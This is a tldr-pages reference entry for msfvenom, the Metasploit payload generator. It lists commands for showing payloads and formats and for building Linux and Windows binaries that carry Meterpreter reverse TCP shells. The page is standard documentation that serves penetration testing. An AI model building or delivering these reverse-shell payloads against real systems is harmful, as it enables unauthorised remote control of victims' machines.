msfvenom
Manually generate payloads for metasploit.
msfvenom -l payloads
msfvenom -l formats
msfvenom -p {payload} --list-options
- Create an ELF binary with a reverse TCP handler:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={local_ip} LPORT={local_port} -f elf > {path/to/binary}
- Create an EXE binary with a reverse TCP handler:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={local_ip} LPORT={local_port} -f exe > {path/to/binary.exe}
Copyright © 2014—present the tldr-pages team and contributors.
This work is licensed under the Creative Commons Attribution 4.0 International License (CC-BY).